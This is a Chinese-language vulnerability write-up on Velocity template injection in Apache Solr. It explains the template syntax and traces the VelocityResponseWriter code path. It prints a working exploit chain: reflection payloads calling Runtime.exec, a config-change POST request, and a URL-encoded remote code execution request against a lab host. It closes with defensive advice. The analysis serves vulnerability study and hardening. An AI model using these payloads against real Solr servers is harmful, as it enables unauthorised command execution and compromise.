从Apache Solr 看 Velocity 模板注入
字数 1743 2025-08-22 12:22:48
Apache Solr Velocity模板注入漏洞分析与利用
1. Velocity模板引擎基础
1.1 Velocity基本语法
Velocity模板引擎使用两种主要符号:
#:标识Velocity脚本语句,如#set、#if、#else、#end、#foreach、#include、#parse、#macro等$:标识变量引用,如Hello $a会输出上下文中的变量a的值
1.2 基本用法示例
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;
public class Test {
public static void main(String[] args) {
Velocity.init();
String templateString = "#set($a = \"ooyywwll\")" + "Hello $a";
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
Velocity.evaluate(context, writer, "test", templateString);
System.out.println(writer.toString());
}
}
输出结果:
Hello ooyywwll
1.3 对象属性访问
Velocity支持对象属性访问:
context.put("user", new User("aaaa"));
模板:
hello, $user.name!
输出:
hello, aaaa!
2. Velocity模板注入原理
2.1 恶意代码执行
Velocity模板注入的核心是利用Velocity的脚本功能执行任意Java代码:
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;
public class Test {
public static void main(String[] args) {
Velocity.init();
String templateString = "#set($e=\"e\")\n" +
"$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"calc\")";
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
Velocity.evaluate(context, writer, "test", templateString);
System.out.println(writer.toString());
}
}
这段代码会执行calc命令,原理与SPEL表达式注入类似。
2.2 命令执行回显
获取命令执行结果的完整Payload:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('whoami'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
3. Apache Solr Velocity模板注入漏洞
3.1 漏洞背景
Apache Solr是一个基于Lucene的搜索服务器,提供了VelocityResponseWriter用于渲染Velocity模板。当配置不当(特别是params.resource.loader.enabled设置为true)时,攻击者可以通过构造恶意请求实现模板注入。
3.2 漏洞利用条件
- Solr配置中启用了VelocityResponseWriter
params.resource.loader.enabled设置为true- 攻击者能够控制Velocity模板内容
3.3 配置修改
通过发送POST请求修改Solr配置:
POST /solr/demo/config HTTP/1.1
Host: 192.168.177.146:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
关键配置项:
solr.resource.loader.enabled:启用Solr资源加载器params.resource.loader.enabled:允许通过请求参数加载模板(关键漏洞点)
3.4 漏洞利用Payload
http://192.168.177.146:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
参数说明:
wt=velocity:指定使用Velocity响应写入器v.template=custom:使用自定义模板v.template.custom:注入的恶意Velocity模板代码
4. 漏洞分析
4.1 请求处理流程
- Solr接收到HTTP请求后,在
HttpSolrCall.call()方法中确定请求类型 - 对于
PROCESS类型的请求,会创建SolrQueryResponse对象 - 通过
getResponseWriter()方法获取响应写入器,根据wt参数选择VelocityResponseWriter - 最终在
VelocityResponseWriter.write()方法中渲染模板
4.2 关键代码分析
VelocityResponseWriter.write()方法:
public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException {
VelocityEngine engine = createEngine(request);
Template template = getTemplate(engine, request);
VelocityContext context = createContext(request, response);
context.put("engine", engine);
String layoutTemplate = request.getParams().get(LAYOUT);
boolean layoutEnabled = request.getParams().getBool(LAYOUT_ENABLED, true) && layoutTemplate != null;
String jsonWrapper = request.getParams().get(JSON);
boolean wrapResponse = layoutEnabled || jsonWrapper != null;
if (!wrapResponse) {
// 直接合并模板和上下文到输出
template.merge(context, writer);
} else {
// 处理包装响应的情况
StringWriter stringWriter = new StringWriter();
template.merge(context, stringWriter);
// ... 其他处理逻辑
}
}
当攻击者控制v.template.custom参数时,恶意模板代码会被直接合并到输出中,导致代码执行。
4.3 模板渲染点
漏洞的关键在于template.merge()方法调用,该方法会解析并执行Velocity模板中的脚本。当攻击者能够控制模板内容时,就可以注入任意Velocity脚本代码。
5. 防御措施
- 禁用params.resource.loader.enabled:确保配置中
params.resource.loader.enabled设置为false - 限制Velocity模板使用:如非必要,禁用VelocityResponseWriter
- 输入验证:对用户提供的模板内容进行严格过滤
- 最小权限原则:运行Solr的账户应具有最小必要权限
- 及时更新:应用官方发布的安全补丁
6. 总结
Apache Solr Velocity模板注入漏洞是由于配置不当导致攻击者能够控制Velocity模板内容,进而执行任意Java代码。理解该漏洞需要掌握:
- Velocity模板引擎的基本语法和工作原理
- Solr的请求处理流程和响应写入机制
- Java反射机制在漏洞利用中的应用
- 命令执行结果的回显技术
通过分析该漏洞,可以更好地理解模板注入类漏洞的通用原理和防御方法。